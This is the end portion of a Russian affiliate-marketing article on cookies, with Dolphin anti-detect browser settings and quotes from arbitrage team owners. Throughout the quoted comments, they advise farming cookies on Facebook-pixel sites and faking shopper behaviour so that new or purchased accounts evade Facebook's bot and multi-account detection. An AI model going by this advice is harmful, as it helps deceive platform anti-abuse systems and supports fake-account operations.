Если же вам нужно загрузить свой файл с кукис, то делается это вот здесь
Dolphin
В браузере Dolphin идентичного функционала для включения/отключения куки нет. А сделать импорт/экспорт своего файла с данными можно будет, нажав на три точки возле профиля, далее откроется вот такая картина:
А теперь к тому, для чего предназначены файлы куки в арбитраже и зачем нужен их фарминг.
Для чего нужны cookie файлы в арбитраже
Например фарминг куков — работа по созданию большого количества файлов куки для их дальнейшей эксплуатации в маркетинговых целях. Арбитражники фармят куки, чтобы выудить ценную информацию о поведении своих потенциальных покупателей в сети. Это в первую очередь то, для чего нужны cookie файлы в арбитраже.
Что делают файлы cookie для рекламодателей? Помогают им определить, какие веб сайты и страницы дают самую высокую конверсию или в конечном счёте продажи, а далее помогают использовать эти данные для оптимизации рекламных кампаний. Также фарминг куки файлов хорошо подходит для создания ЦА, которая будет более охотно реагировать на офферы.
Но есть у фарминга «печенек» и ещё одна крайне важная функция. Этот процесс очень нужен для повышения траста алгоритмов соцсетей (в первую очередь ФБ) и веб сайтов к любым аккаунтам-новорегам. Принцип обнаружения прост: если ваши куки пусты, то веб сайт скорее всего заподозрит юзера в мультиаккаунтинге и заблокирует его.
ВАЖНО! Если уж в конце статьи мы пришли непосредственно к арбитражу и небанальному использованию куки файлов в нём, то предлагаем вам почитать ещё и нашу актуальную статью о ТОП-4 небанальных источника трафика для арбитража, а именно вот её — «Где купить трафик для арбитража? ТОП-4 небанальных источников»Мы взяли комментарии по этой теме у топовых арбитражников:
1) Владимир Арбитраж, арбитражник, владелец одноимённого ТГ канала «Владимир Арбитраж»
Добавить к тому, что сказано выше можно лишь то, что нагул кук, особенно перед входом в сам профиль ФБ в современных реалиях — больше необходимость, нежели ваша прихоть. Если взять в пример покупной аккаунт Кинг, то вы заметите, что в комплекте с ним идут куки, причём, чем дольше был фарм, тем больше они будут весить. Конечно, несомненным плюсом, ещё до момента захода в профиль ФБ, будет даже не столько наличие кук в комплекте, сколько, действительно нагул дополнительных, свежих кук на сайтах, на которых присутствует пиксель. Его наличие можно легко проверить расширением https://chrome.google.com/webstore/detail/facebook-pixel-helper/fdgfkebogiimcoedlicjlajpkdmockpc?hl=ru
Поэтому если вы купили Кинг аккаунт и хотите работать с ним вдолгую, то помимо кук от селлера, я бы посоветовал посетить пару десятков сайтов, где имеется пиксель, добавить что-то в корзину, создать видимость реального покупателя. Поверьте, ФБ знает о вас больше даже до момента захода в профиль.
Этот инструмент поможет открыть несколько вкладок разом:
Отсюда можно взять список сайтов с пикселем:
2) Евгений Топорков, основатель агентства ZeonAds, арбитражник с 2016 года,владелец ТГ канала «Арбитраж из Топора»
Куки — один из важнейших параметров, по которому ФБ определяет вас, живой вы человек или нет. Поэтому, считается очень важным нагулять куки не только внутри ФБ, но и на внешних ресурсах, где у ФБ имеются пиксели.
И если вы вдруг захотите заняться фармом самостоятельно или планируете собирать фарм отдел под своим началом, то не забудьте фармить куки.
3) Тимур Шарипов, овнер арбитражной команды Avalon, владелец ТГ канала «Тимлид команды»
Куки очень важны для фарминга аккаунтов, т.к. если вы начнёте регать аккаунты без кук, то ФБ может заподозрить, что вы не живой человек, а робот, и такие аккаунты часто вылетают на чекпоинт. Советую вам перед регистрацией новых аккаунтов пройтись по ряду сайтов с установленным пикселем ФБ, набить куки и только потом приступать к созданию профиля ФБ. После создания аккаунта советую продолжить набивать куки как за пределами ФБ, так и внутри своего профиля — это придаст траста вашему аккаунту.
Вывод:
Мы обсудили то, что такое куки в принципе и зачем созданы, а также о том, как включить/выключить, экспортировать и импортировать файлы куки в двух топовых антидетект браузерах и о том, что даёт фарминг «печенек» в арбитраже. А как очистить куки в обычном Гугл Хроме знают наверное все, алгоритм прост: 3 точки в правом верхнем углу — Настройки — Конфиденциальность и безопасность — Очистить историю.
Так что цените свои «печеньки», работайте с ними и будет вам бесконечный профит!